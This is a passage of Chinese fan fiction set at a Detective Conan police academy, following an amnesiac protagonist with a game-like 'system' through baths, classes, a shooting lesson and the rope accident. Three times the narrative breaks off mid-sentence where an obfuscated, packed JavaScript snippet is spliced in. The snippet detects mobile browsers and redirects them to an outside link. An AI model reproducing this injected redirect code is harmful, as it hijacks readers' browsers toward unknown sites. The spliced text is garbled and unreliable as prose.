【恭喜你解锁新的柯学规则:当你从高空坠落时,如果存在缓冲物你将不会死亡。 ※注意:若非原住民使用,仅在红黑任意一方追杀时你使用该规则生效。】 【副作用:失忆,精神恍惚…(待解锁)】 副作用失忆和精神恍惚……嗯,对上号了,没毛病。 好家伙,这倒霉系统还给他干失忆了。 离谱。 * 「角色卡抽到便立即执行这到底是谁设定的?不能让宿主主动选择使用时间吗?真是可恶。」 云居冬弥边抱怨边那好洗澡用品,准备去公共澡堂洗澡。 【这是规定。】系统试图安慰对方,【事实上,我司严格遵守等价交换原则,用记忆换「规则」不会亏的。】 云居冬弥吐槽:「如果没有那个限制的话这规则确实不错,但问题是这规则仅在红黑方追杀时才生效,你觉得我没事为什么会被追杀?」 【……没办法,规则是随机的,以防万一嘛。】 「而且你这失忆debuff加的感觉很奇怪,和之前的正常版不一样好不。」 像是被橡皮擦擦掉了铅笔印的纸张,原本的字迹了无踪迹,但留有细微的划痕,随时可以被扫上的铅笔灰复原,这种情况很容易打乱云居冬弥原本定下的计划,将他的思绪搅成乱麻。 就比如今天突然冒出的记忆。 这会让他非常、非常不爽。 烦JPG. 4. 云居日记(4) 警校的住宿环境和孤儿院的大通铺比好了很多,甚至和模糊印象中的高中、大学宿舍也好上不少。 别的不说,单人间、独立阳台已经超过大半的住宿生了。 但云居冬弥不理解为什么都有独立阳台了为什么不能加个独立卫生间,和一群人挤在公共浴室真的很怪,感觉整个人背后凉飕飕的——这么看他上辈子可能是个南方人,北方人好像对这种大浴堂见怪不怪了。 将微湿的毛巾搭在脖子上,云居冬弥取出洗漱用品,挤着牙膏,缩在角落里刷牙洗脸,但依旧有若有若无的视线落在他身上。 但他严重怀疑他是不对泡泡没洗干净,不然怎么总有人盯着他。 洗簌完,云居冬弥瞥着眉回头,扫视一圈,目光停留在最毫不掩饰的那人脸上。 金发紫眼,是你啊,警校组之一の警校首席降谷零。 他脸上有东西吗?为什么这么看他? * 降谷零盯着他当然不是因为对方脸上有东西。 只是…… 苍白到看不出几分血色的脸,手臂上若隐若现的刀痕,随着动作而隐约露出的腹部上的弹痕,以及因为这位同学的低气压导致周身一群人不敢靠近的微妙气质。 嗯,这很难不在意吧? 但很明显,他完全没有自知之明。 他吐完水后,随意地撩起湿漉漉的黑发,用自来水沾湿脸帕,自顾自地洗完脸后似乎是实在受不了周围人的视线,冷着脸扫视一圈,定格在唯一没有下意识撇开视线的降谷零身上。 银灰色的眼睛如镜子般忠诚得倒映着这一切,只是眼底带着点困惑和不耐烦,随后他叹了口气,仿佛先前的冰冷只是错觉。他歪着头,不解地问:“能别看了吗?难道是我身上泡泡没洗干净吗?” 指向性很强,他是直勾勾地盯着降谷零问的。 嗯……这位同学的社交能力可以和卷毛坐一桌了。 原本升起的警戒心因这句话而消散些许,降谷零面不改色,用手指点了一下腹部,斟酌着说:“你的腹部似乎受过……很重的伤?没事吧。” 他恍然大悟,思索片刻后,轻描淡写地回答:“应该没事,没残留,没伤到骨头,也没伤到内脏,这么多年都没出事那现在应该也不会出事。” “很多年吗?” “我不太记得了,5年前吧,毕竟是在美国读书那会儿的事了。” 降谷零观察了一下对方的神色,震惊地发现他是认真的。 他真不记得了。 云居冬弥似乎看出了他的疑惑,他解释道:“我失忆了,我并不知道个是怎么来的,病历本上说是因为在美国读书时遇到游行示威,被枪打中了。” “不过也没关系吧?无所谓了。” 降谷零对这种程度的心大有点震惊,无言以对。 不是,这种事情也能无所谓吗? * 是的,无所谓。 过去的事情已经过去了,去想那么多干嘛?只要不是危及性命的事情云居冬弥一向心大。 所以当他回到宿舍,吹完头发,将洗完的衣服晾好后,发现他已经困了之后,他理所当然地放弃了他原本想围观降松两人打架这个计划。 云居冬弥躺在床上,在系统显示的【云居日记】上打字,等东凑西凑了600字后便关掉,心累地闭上眼,安静地听着存在存在系统中的歌。 歌声悠扬,混着窗外传来的隐约的蝉鸣、风声、打斗声,楼道间偶尔传来的人走动的声音和窸窸窣窣的交谈声。 但这些都与云居冬弥无关。 他闭着眼,至到天明。 * 六点半,在广播起床铃声下醒来,云居冬弥叠好被子,从阳台上收下衣服,换上训练服,简单洗涑、整理仪表后便在广播声中随着人流下楼晨训。 四月中旬的温度并不炎热,这会儿还算是清晨,只有13度左右,轻风卷起凋谢的樱花瓣,稀薄的阳光落在身上,带不来太多的暖意,但好在云居冬弥不怕冷,他只是打了个哈欠,将敞开的拉链拉紧,便睡眼惺忪地晃悠到操场上。 按照身高顺序排好队,云居冬弥幸灾乐祸地看了眼左脸还贴着OK绷的松田阵平和他身旁同样脸上挂彩的降谷零。 啧啧啧,瞧瞧这脸青一块紫一块的,他们打架都往脸上招呼吗?这么狠。 云居冬弥小声嘀咕:“昨晚战况还挺激烈的。”有点后悔没去,但好困,懒得出门。 同学们在几人成团聊了五分钟左右教官便来了,常规的点名报数、跑完圈后,教官的注意力集中到站在第一排、脸上还挂彩的两人身上,刺头雷达“叮”了一下,严肃地问话:“怎么了?松田和降谷……你们的脸……” 话没说完,松田阵平便咧嘴一笑,打断了对方:“你想知道吗?” 哇哦,勇于对上教官的刺头一号。 云居冬弥不着痕迹地打量了一下教官的神情,有点好奇。他自认为他是个良民,能不惹事就不惹事,服从规则,正常情况下不会和上司对着干,顶多在心里吐槽,不会在面上显现出来,而他周围的人似乎也是遵守规则的类型,他对这种以下犯上的事情感觉怪怪的,但又莫名有点向往,想尝试一下。 总而言之,有这心没这胆。 云居冬弥为自己的从心感到嫌弃——怎么能这么怂啊。 算了,这种事情无所谓啦。 云居冬弥面不改色地看戏。 教官凑到松田阵平和降谷零跟前,冷笑着说:“是啊,请一定要说给我听哦。” 嘶……这教官脾气还可以诶。 这种事情要是换他的话就直接拳头伺候了。 自动代入教官角色的云居冬弥眨了眨眼,继续围观现场。 “其实……” 第一排最右边的高大威猛的同学忽然开口,云居冬弥记得他,他是他们半的班长,本届学生综合能力第二,仅次于卷发同学隔壁的金发小哥,也是警校组的一员。 和正经的外表不同,这位班长似乎很擅长一本正经地胡说八道,他爽朗地笑着,镇定自若地开口说:“昨天我的房间里跑出来了一大堆蟑螂,就请他们两个人来帮忙杀虫,结果在杀虫过程中太过专心,撞到了桌子,竖起来的床也倒了下去,真是受罪啊……” 云居冬弥啧啧称奇,别的不说,他来的时候下意识观察了一会儿松田同学身上的伤,以他莫名知道的打架斗殴经验来看,那绝对是被人狠狠打到脸颊上了。 再看降谷同学身上的伤,很明显,他们两个昨晚绝对在激情互殴。 “虽然如此,但作为破坏学校物品的惩罚,我们鬼塚班多跑一圈!”班长话音一转,下令道,“出发!” “是!” 话音刚落,同学们便自觉含着“一二,一二”,充耳不闻教官“话还没说完”的喊声,在其他班的围观下,排起两列纵队跑起来了。 但只是跑了几步队伍便乱了。 跑在最前面、最显眼的便是害他们多跑一圈的罪魁祸首们——班长伊达航,打架斗殴一号松田阵平,一号的幼驯染萩原研二,打架斗殴二号降谷零,二号的幼驯染诸伏景光。 在他们身后跑的同学有的脸上不满,有的气喘吁吁,有的眼看跑得离教官有段距离了便和周围同学聊起来了。 只是多跑一圈而已,云居冬弥无所谓,他面无表情地扒拉了一下乱飘的半长发,跑在队伍中央,两耳不闻窗外事,一边根据周围人的速度保持他人位于中间,一边在脑中和系统聊天。 「话说我当初为什么会留半长发啊,难道只是因为想让弟弟帮我理发吗,统?」 【你觉得半长发很好看。】 这个回答让他一愣。 「?」云居冬弥狐疑,「真的吗?」 他是那么自恋的人吗? 而且不留半长发他长得也很好看啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619235|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云居冬弥如是想,不知不觉就跑完了全程,连气息都没什么变化。 看来他的体力很好啊。他想着,跟随人群走向食堂。 晨训完后便是用餐时间。 其实用餐前还有半小时的自由时间,但由于今天开学第一天有演讲和教官的自我介绍,下课本就延后了很久,快到用餐时间了,而鬼塚班还多跑了一圈,所以跑完就解散了。但当他们来时食堂已经有很多人了,排队队伍很长。 云居冬弥猜他对食物方面的要求不高,他对此没什么兴趣,无论是吃什么,只要没毒、能提供维持身体运转的能力就行了。他边走边看,随便找了个人少的队伍,跟上一位点的早餐点了同款,看了眼,觉得有点少,他又加了个鸡蛋。 现在食堂的人很多,座位零零散散,云居冬弥随便找了个空位坐了下来。 周围人三五成群聊得很开心,云居冬弥边吃边听八卦,在听到「话说,你为什么想成为警察」时停顿了一下,忽然想起在他当初刚认识他弟那会,弟弟曾说「哇,你看上去好厉害啊,哥!如果你以后去当警察,一定是个威风凛凛、帅气逼人的好警察」。 ……总感觉这才是他相当警察的原因,而不是什么乱七八糟的弟弟失踪。 云居冬弥回过神来,继续吃饭,眼里带着淡淡的嫌弃。 说实话,这顿饭吃的毫无食欲,但人总得活着,云居冬弥面无表情地将食物送入口中,机械地咀嚼,咽下,循环往复,高效地结束了用餐。 云居冬弥回想起他富有的财产,盲猜他曾经天天吃山珍海味,一不小心就养叼了嘴,不然他怎么可能吃得如同嚼蜡,光闻着就犯恶心?看周围人的表情,这菜或许味道一般,但也不至于难吃啊。 口区,早点结束用餐去班里待命吧。 云居冬弥走出食堂,回到寝室,换上干净的制服,顺手拿了点零食装兜里便下楼了。 今天没有轮到鬼塚班执勤,云居冬弥拎着放书的包便去教室了。 天色比晨训那会亮了不少,光落在身上暖暖的,云居冬弥走在路上,抬眼看了一下湛蓝的天空,视野两侧则是探出头的枝叶,从这个角度往上看,有点像他曾经呆的孤儿院。 ……很像。 * 碧蓝如洗的天空下,白发红眼的男孩坐在树枝上,郁郁青青的枝叶遮住了他的五官。阳光穿过树叶,落在他身上,他似乎听到了什么动静,朝他所在的方向招手。 “kiri,接住我!” 他从树上一跃而下,掉进谷川居雾的怀中,后者揉了揉对方的头,有点无奈:“这很危险的,下回别这么干了,万一受伤了怎么办,kumo?” “没事哒~你接住我就行了。”kumo笑着说,抱住了谷川居雾。 kumo比小2岁,矮8厘米,谷川居雾只能看到对方苍白的发丝。 像月亮…… 不对,应该是太阳才对。 云居冬弥从忽然冒出的回忆中醒来,晃了晃钝痛的脑袋,脚下步伐未变,依旧朝着目的地前行。 虽然弟弟很可爱,但这忽然飘过的记忆有点碍事啊。 万幸的是,这回没进医务室。 云居冬弥揉了揉太阳穴,走进教室,看了眼时间,找了个靠后的角落坐下,等待朝礼。 日本朝礼是日本企业文化中一种重要的日常管理方式,通常会在早晨上班时组织的简短会议,主要用于确认当日目标、任务分配、业绩汇报及团队激励。 而在警校中,这同样也是必不可少的一部分,只不过他们是在教官的带领下朗读校训和警察职务基本准则。 怎么说呢? 有点无聊,所以他丝毫没抵抗力地睡着了,直到下课铃打响才转醒。 斯密马赛—— 但这真的不关他的事,是这朗读的有点催眠,他也没想当刺头的哦。 所以,鬼塚教官,你能不能别这么看着我了TT。 5. 云居日记(5) 朝礼结束后,云居冬弥根据课表翻开教材。 云居冬弥原本是想好好听课,体会一下日本警校的课程,不当刺头的。 但上课的内容。 ……这么说呢?还是那个说法。 有点无聊。 除了被松田同学那句「不过呢,从警察学校毕业的人,能不能认真实践这一点,那可就说不准了」给震惊到了,云居冬弥从昏昏欲睡中清醒过来,跟同学一样望向大胆发言的刺头选手的那节课外。 他一直在犯困。 刑法、心理学、跟踪与反跟踪…… 云居冬弥怀疑他这辈子可能学过这些,老师一讲,他脑中就会自动播放相关内容,听得他昏昏欲睡,还时不时在浑浑噩噩间陷入过去的零碎记忆里,感觉他要得精神分裂了。 不过像云居冬弥这种上课走神开小差的行为当然被制裁了。 教枪械基础知识的老师估计看他不顺眼,在7个犯困人群中精准点到他,点他起来连问了6个问题。 只不过云居冬弥确实会,他流利地说出标准答案后便被老师轻轻放下了。 虽然被点后清醒了一点,但还是好困,云居冬弥打了个哈欠,再次看了眼时钟,感觉眼皮愈发沉重,思绪变得异常缓慢。他兴致缺缺地翻开教程的下一页,用一只手托住下巴,目光看向窗外。 蝉鸣混着念书的声音,老师温和而低沉的声音在耳旁环绕,压过了学生窸窸窣窣的小动静。 “在追踪嫌犯时,即使是在人群密集的地方,也不能将人看丢,所以必须牢记嫌犯的一切特征……” “突然被对方看到或问话时要保持镇定,不能让慌张的表情流露出来……” “嫌犯进入建筑物内时要立即观察是否有后门或密道……” “撒谎的时候……” 云居冬弥偏过头,看向老师。他明明坐在明亮简约的教室内,周围都是同学,但他却莫名感觉他似乎坐在某间低调而奢华的房间内。 “shirasu,你知道吗?你每次说谎眼神就喜欢乱飘。”棕发青年温和地说,绿色的眼睛像是生机勃勃的春日,“但其实说实话也能骗人。” 谷川居雾停下翻着书页的手,垂着眸,视线停留在教材的文字上,略长的额发有点遮眼。阴影落在浅透而漂亮的银灰色眼睛上,像是被月光铺洒下的湖面,温和、静谧而触手冰凉,配上他这张精致而毫无情绪的脸显得格外空洞,莫名透着点诡异的非人感。 棕发青年保持着温和的微笑,耐心等待着他的回答。 谷川居雾不太擅长演戏、说谎这方面的事情,平时他所负责的事情也不需要这些,如果他面前是别人的话,他就会选择用「情报收集又不是我负责的内容,我为什么一定要擅长这个」敷衍了事,但现在不行,他面前的是他上司,他必须回答。 谷川居雾思索片刻,犹豫地说: “将部分真相打乱因果顺序,核心要点不透露,剩下的让对方自己去猜?” 他微微抬头,静静地看着对方,暗色的身影倒映在他眼中。 …… 额头一痛,云居冬弥条件反射地坐直身子,猛地睁开眼。 警察学校的教室。 上课中。 他得出两个结论,揉了揉磕到的额头,取下了架在鼻梁上的平光眼镜,用眼镜布擦了擦,重新戴回去。 银灰色的眼睛确实挺好看的,但非人感太重了,怎么看都带着点高高在上的冷漠。 云居冬弥在家对着镜子看半天,从各角度都看了一遍,还是决定用平光镜柔和一下瞳色所带来的危险感。 他打了个哈欠,仗着后排遮挡物多,提前开始收拾桌上的物品,只在桌上留了本教材。 这节课下课就是午餐时间了。 要去食堂抢饭。 * 这节课下课就是午餐时间了,所以你就清醒了吗? 萩原研二半月眼。 他的座位虽然和云居冬弥的位置隔了几个桌,他也认真听课了,但有个频频点头的睡神坐在不远处真的很显眼啊。 ——也算不上频频点头,实际上他幅度较大的点头只不过几次,大部分幅度都很微弱,如果不是他没忍住多看了几眼根本发不现。 他几乎就是坐着睡着了,背挺得笔直,脖颈微倾,但幅度不大,看上去和看书没什么区别。额发落下,恰到好处地遮住了眼睛,他手中还像模像样地握着钢笔,只是似乎是怕划到书,笔帽没摘。从教官的视角来看和醒着没什么区别。 如果不是他手臂下的书页比现在的进度条慢了几页,教官下来巡查的时候看到了,那根本不会有人发现他在浑水摸鱼。 而萩原研二也不会时不时视线就飘过去,看一眼他现在到底醒没醒。 真的很离谱,怎么会有人在警校上课第一天就这么光明正大的摸鱼啊喂,好歹几天之后再原形毕露吧! 就算是他睡时表情控制得很完美,没有发出声响,也没有乱动,但还是无法改变他就是在上课打瞌睡的实质——你崩人设了啊,云居同学。 你还记得你的冷酷人设吗? 他是真的完全不在意社交和教官的印象了吗? * 完全不在意呢。 如果云居冬弥听到萩原研二的问题他会这么回答。 比起这个他更在意“shirasu”是什么意思、记忆中的那人是谁、他为什么这么叫他。 他并没有认真去维护人际关系的打算,几天适应下来,他深刻意识到他不是个喜欢和别人凑一堆的人。 在家中喜欢窝在房间里,在街上喜欢cos阴郁沉默的路人背景板,在饭店里喜欢一个人坐在角落里,就算在警校他也喜欢一个人独来独往。 不是心理问题。 他只是单纯的习惯了一个人,所以不喜欢费心思去社交而已。 不过偶尔和别人说话的感觉也不错,虽然有点小别扭,但正常的社交对于一个人来说是必要的,所以他其实很乐意和萩松两人当饭搭子聊天来的。 但不是现在。 云居冬弥端着午餐的餐盘,掠过正在聊天的警校组,坐到他们隔壁的隔壁桌上。 因为那现在还没人坐。 当然,也不只是因为这个原因。 他礼貌地朝看过来的人笑了笑,比了个耶。 很难理解吗?他只是不喜欢社交,所以不需要社交而已。 在模糊的印象里他记得他之前似乎也是这样一个人。 每段时期都有每段时期的朋友,但每当过了这段时期,他和朋友的关系会迅速而毫无痕迹得落至冰点,从一天N聊变为几年都没一个问好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619236|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,到最后被遗忘。 因为他不想付出真心所以他也不在意他人十分付出真心。 只要还在一起当话搭子时过的还算愉快那就可以了,何必在意真实的对方呢?如果没次都投入感情,那未免也太奢侈了。 他一直如此,懒得改变。 也不觉这有任何问题。 * 不不不不不,你这非常有问题! 隔天早上,松田阵平和他幼驯染看着发出逆天发言的云居冬弥张口结舌,话到嘴边又咽了回去。 经过三天的相处,松田阵平已经意识到这位失忆版·谷川居雾是怎样的性格了。 对绝大部分事物的冷漠,对社交的排斥、不习惯,难以掩盖的攻击性,习惯性的命令式语气,疏离于人群之外的淡漠,极度的自我……但偏偏夹杂着不合时宜的礼貌,对所喜欢的事物偏执的追求,和对自身一无所知的茫然。 像是颜料盘中五彩斑斓的颜色杂在一起所形成的复杂颜色,矛盾而混乱。 有时候松田阵平都会怀疑一下他的精神状态是不是不太好,怎么上秒还因为某件事笑着,下秒就阴测测地盯着别人看了,表情转变毫无过渡,就纯变脸。 幼驯染斟酌了一下,问:“你……这交友理念是谁教的啊?” “嗯?”云居冬弥思索片刻,“不太记得了,应该是我自己悟的,没人教——不过这有什么问题吗?” 天,他是真心实意地在困惑! 云居冬弥感觉他们误会了什么,十分善解人意地圆话:“我以前待在孤儿院,后来被领养后只在日本呆了几年就跟父母去美国留学了,高二那会儿才回来,而且还是高二下学期,班里的同学已经有固定的玩伴了,所以融不进去也很正常。大学的话……那时候我已经习惯了,所以就无所谓了。” “孤……儿……院……?” “那个时期吗?” 云居冬弥对这段时间很熟悉,毕竟在他的记忆里几天前他还呆在那呢——终于拿对考题了,这题他会! “我的眼睛颜色有点特殊,孤儿院的小孩们不太喜欢,他们通常不和我玩,所以我决定和我弟弟一起孤立他们所有人。”他指了一下自己的眼睛,笑吟吟地说,“自从揍了一顿那群欺负我弟的混蛋们就收获了一个超级卡哇伊的弟弟真的是超赞的诶!” “…………” “…………” 他说着,整个人都兴奋起来了,花式夸他弟可爱,他弟聪明,他弟关爱哥哥,丝毫没发现他面前的两个人的表情越来越僵硬。 * 救命,这不是踩雷了吗?还是连环踩雷! 孤儿院、美国留学、身上的枪伤、孤立、霸凌、弟弟……整个鬼塚班有谁不知道云居冬弥是为了他弟才报考警校的啊! 原来是孤儿院被领养后去美国留学,语言不通和同学关系不好,被霸凌,还意外被卷入游行冲突、中枪,还因此在这段期间丢失弟弟,为此励志考上警校的故事吗? 虽然这个背景故事听上去假,感觉像是叠负面buff,但当云居冬弥彻底摒除微妙的形象包袱,对着他们侃侃而谈,越谈越兴奋后。 就那啥,汗流浃背了哈…… 萩原研二适当附和后做出一副听到隔壁桌风声的样子,转移话题:“听说今天是实弹练习诶云居同学。” 6. 云居日记(6) “实弹练习?今天吗?”云居冬弥回忆了一下课堂内容,遗憾地发现他丝毫没有印象。 可能是睡死过去了。 云居冬弥浅浅反思了一下,愉快地将这件事忘掉。 警校的课程对云居冬弥来说确实有点无聊了,他没有什么太大的感触,所以经常上课摸鱼。 体能训练对他来说是小case,毫无压力;关于心理学、格斗技巧和枪械的理论知识他十分了解,教官不讲他也知道,上课几乎全程犯困;法律教育还算有用,但在此之前他似乎已经熟知日本法律,这只相当于重温;警察的专业课教导,这是他的盲区,但不难学还繁琐无趣,他不感兴趣。 比起这些有的没的,云居冬弥对实践课更感兴趣一点。 比如防爆训练、格斗对抗、枪支使用等内容,不说别的,一握到枪就觉得安心,感觉整个人都放松下来了。 这就是火力充足所带来的安全感吗?云居冬弥想。 练习完空枪瞄准(不装弹),教官又纠正了一圈人的姿势、呼吸等细节,随后让他们装弹,在原地待命,严肃地说有关的注意事项。 心不在焉地听完教官的告诫,他按要求戴好射击耳罩,站在自己的位置上,摩挲了几下手中的枪,等待可以射击的命令。 其实,在教官科普、演示SAKURA如何使用之前,他脑中已经自动播放了他在射击馆使用各种枪械的零散记忆了。他似乎对此很熟悉——可能是因为他曾在美国读过一段时间书的原因。 或许他曾去过射击馆打靶? 他猜。 得到射击指令,云居冬弥慢了他人一步,等隔壁开完第一枪才拿起枪,对准射击目标,侧脸瞄准。 主要是全部打满环有点太显眼了,他也不太想去思考打几环合理,虽然新手也不是没可能全中10环,但他本人早就是个显眼包的形状了,还是不要再显眼点了吧。 随便打打得了。 扣动板机。 6环,8环,7环,6环,10环,换弹,9环…… 他随手打完20发子弹,将枪放回原位。此时枪声还没停下来,他看了眼这排还没打完的大部分同学,意识到他速度偏快了。 但问题不大,有人比他更快更好地完成了这次训练。 那位降谷同学第一次射击就有这个成绩,真厉害啊,不愧是这一届的首席。 他站在原位搓了搓手指,下意识对比了一下,觉得这个警用强制和P226的手感没得比。 P226,一种单/双动击发的半自动手枪,虽然价格略贵,但性能好,射击精度很高。在美国生活的那段时间,似乎有位黑发蓝眼的青年(也有可能是中年)男子送给了他一把作为生日礼物。 好家伙,他在美国的生活还真是多姿多彩,居然还有人送枪。 ……嗯,这合法吗? 好像不呢。 好吧好吧,或许那只是模型枪呢? 枪声渐停,云居冬弥扯回跑远的思绪,看了眼除了那五个最显眼的同学们的平均水准,结合本次的射击成绩,思索片刻,估摸出他下回应有的水平,呼唤系统帮忙记着。 不过这回打枪速度确实快得多了点。 云居冬弥感到左手旁传来的目光,知道他掩饰住他对枪的熟练度,微微撇嘴,假装没感觉到,只是安分守己地站在原地,等待教官发令。 * 其实你正常射击的话你反而不会那么惹人注意。 诸伏景光想。 嗯,怎么说呢?娴熟的换弹,平静到毫无波澜的表情,射击前偷瞄左右两人进度的眼神,非标准警式射击但更加简洁、高效的姿态,射击时基本没被后坐力影响过的身体,只是在隔壁同学打靶的基础上将成绩微调些许…… 其实这些只要观察一下就知道了(笑)。 即使成绩没那么亮眼,也无法遮掩你的射击水平其实格外优异呢,云居同学。 但孤儿院的背景、美国留学的经历、有时格外危险的气质和对枪械的熟悉叠加起来真的不会有什么问题吗? 虽然能进警校也代表他的身份至少从表面上来看是清白的。 他持保留态度。 不过对此这么看的或许远不止他一人吧? 盯着他看的视线可不少呢。 * 如果某天云居冬弥知道了这件事,他也不会有任何感触。 他平时就感觉他似乎每天都被一群同学盯着看,有人带着恶意,有人带着怀疑,也有人带着善意,虽然落在身上让他有点疑惑,但远算不上难受,他对此接受良好,没什么太大的感觉。 可能他以前也是这么度过的?他不知道。 不过也确实,他平时的样子看上去根本就不像个正经警校生。 你见过正经警校生卡点到班,上课摸鱼睡觉,下课趴桌子躺尸,性格孤僻,平日独来独往,基本不和同学交流吗?怀疑他不是个正经警校生实在是人之常情好不。 他完全不在意会不会有人觉得他有问题。 自定义的背景故事中他是因为他弟失踪才决心成为一名警察,但实际上他弟没失踪,他们下个月还要见面——那他还有什么当警察的必要吗? 他目前养父母去世,不需要思考赡养义务,而他的存款(也可能是遗产)够他们哥弟俩咸度到老,不用担心钱的问题。 云居冬弥现在选择当警察完全就是因为他现在无所事事,只是顺着失忆前的计划混进警校,顺便近距离围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619237|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观一下警校生活。 至于其他?倒时候再说吧。 * 云居冬弥原本是想等教官发令的,但令没听到,他听见了教官的吼声。 “——松田!?” 松田同学又干什么了?云居冬弥好奇地探头看去,取下耳罩,将它挂在脖子上。 他和松田阵平的位置离得不远,只隔了一位猫眼青年,因此他看的很清楚。 那位向来我行我素、和教官对着干的松田同学盘腿坐着,帽子也不好好戴,手里拿着工具,地上还躺着SAKURA的尸体。他仔细地看着手枪零件,无视教官火热的视线,得出结论:“啊,果然是弹巢的卡榫坏掉了!枪管和弹巢的轴线都没对齐,这样怎么打的中。” 确实,不对准的话会影响射击成绩。 不过用这种枪也能射出这成绩,松田同学的技术其实还不错诶。 云居冬弥赞同。 虽然是为了求证,但很明显,教官绝对不会认可这种带着一定危险性的行为。 “快给我装回去!!” 但这也算是脾气好了,一个新手不听指挥,擅自动手拆开枪支,要是换谷川居雾在这里——嗯,他大概会给对方一枪作为警示。 ……不行,这不符合规定。 他怎么能有这种危险的想法。 云居冬弥对自己指指点点,在系统的建议下默念三遍核心价值观,然后继续看戏。 “哎呀。他又来了。”半长发青年有点感慨。 “又?”降谷同学疑惑。 “阵平可是个拆卸狂人!”他笑着说,眼里带着点怀念,“从小开始他见到一样东西就非得拆开看看才舒服。” “因此他对机械很熟悉!尤其是炸弹之类的。” ……啊,炸弹的话,这已经不算是对机械很熟悉了吧?这明显熟过头了。 看来他对炸弹还挺感兴趣的,估计未来会去爆破处吧。不过最近几年似乎出现了□□,目前又没有合适的防范工具,危险性大大提高了。 云居冬弥陷入沉思。 要不以后送他点炸弹模型……不,这他自己应该也搞的到,要不还是送信号屏蔽器吧? 这个实用一点。 虽然市面上还没有出现信号屏蔽器,日本警方也还没配备,但云居冬弥从家里翻出来了几个,他测试了一下,发现它的效果很不错,绝对达到了实战使用的标准——那可能是这个照价太高,只在私底下售卖吧。 嗯,反正手上还挺多,倒时候送他一两个,以防万一吧。 周末回家拿再多点。 云居冬弥暗戳戳地想,服从教官的指令,归还武器和子弹,排好队伍。 但这节课的风波还没结束。 7. 云居日记(7) “啊?!还有一颗子弹没还?” 教官的声音震耳欲聋,云居冬弥回过神来,扯回飘远的思绪,他看了眼松田同学的靶子,确定不是对方的没问题。 奇怪,难道有人私藏了? 子弹而已,藏什么? 教官对话并没有掩饰,云居冬弥清晰地听完全程,有点疑惑。他最初以为是有人藏了弹壳,或是弹壳掉到角落没找着(就这么点地还找不到那大概率眼睛不太行,他个人感觉概率远不如上个猜想高),但若是实弹就不一样了。 实弹的话,那只可能是上弹那会儿压根就没填进去。 好吧,有人偷藏了啊。 云居冬弥不着痕迹地打量一圈,目光停留在一位穿戴整齐的同学身上。在一众看向松田同学的人之中,只有他听到教官的话后脸色微白,眼神飘忽,手不自然地摸了摸口袋。目光交错,他友好地笑了笑,后者迅速撇开眼睛,看向地面。 这表情管理不太行啊。云居冬弥点评。 不过教官现在还在怀疑松田同学,没有换人怀疑一下的念头……要不要帮个小忙?只是说一嘴的功夫。 就说意外看到的好了。 这好像不太科学,如果他没记错的话那位同学和他隔了大半个场,他不可能看得见。 那有点麻烦。 算了,不想出头,反正就那种程度的话他们肯定也能发现。 云居冬弥心安理得地看起戏来,围观「松田同学和教官互怼,班长调节,教官和维修人员对话后不放心,上楼查看,然后松田同学又和降谷同学看不顺眼起来」的全过程,啧啧称奇,觉得他需要配一杯可乐。 “等我先揍你一顿再说!!” “啊,又要打起来了。”云居冬弥看向他身旁站着的猫眼青年,问,“你要上去制止一下吗?这回教官还在呢。” 没等对方回答,细微的声音引起了谷川居雾的注意,在不详的预感的催促下,他看向半空中吊着的维修工。 轰然巨响。 麻绳断裂,维修工从空中坠落。 云居冬弥看到教官眼疾手快地接住了对方,却因惯性被扯了出去,还被绳子死死地卡住了脖子。 脑中第一个想法是:这绳子是怎么绕上去的? 随后反应过来到底发生了什么,他只感到荒谬,非常荒谬。 这么戏剧性的吗? 云居冬弥茫然地看着瞬间紧张起来的气氛,看着七嘴八舌而焦急的同学,觉得他也需要说什么才显得合群。 脑中飘过一堆像「啊,教官小心点」、「现在该怎么办啊,有人知道吗」这样无意义又安全的废话,但云居冬弥怎么也说不出口,憋了半天只干巴巴地说了句:“都说了,救人要量力而行,万一把自己搭上了怎么办呢?” * 还真和萩原说的一样呢。 什么情绪都写在眼睛里了。 前天中午,云居冬弥掠过发来同桌邀请的萩原研二的眼神信号——虽然他没看懂也有可能——但总之,他端着盘子,径直走向一个两旁都没人的座位坐下,朝盯着他看的五个视线看去,犹豫片刻,自然而然地笑了一下,还莫名其妙地比了个耶。 随后他将一切摆放整齐,双手合十,小声地嘀咕了几句话。 他们隔了一个桌,食堂又格外吵闹,听不清他到底说了什么,大概是「我要开动了」之类的话吧。 然后他就沉默地吃饭了。 “诶诶诶,云居同学怎么走了?他原本不是想坐在这里的吗?” 萩原研二发出困惑地感叹。 端着盘子走到幼驯染身旁坐在的诸伏景光看了眼萩原研二。 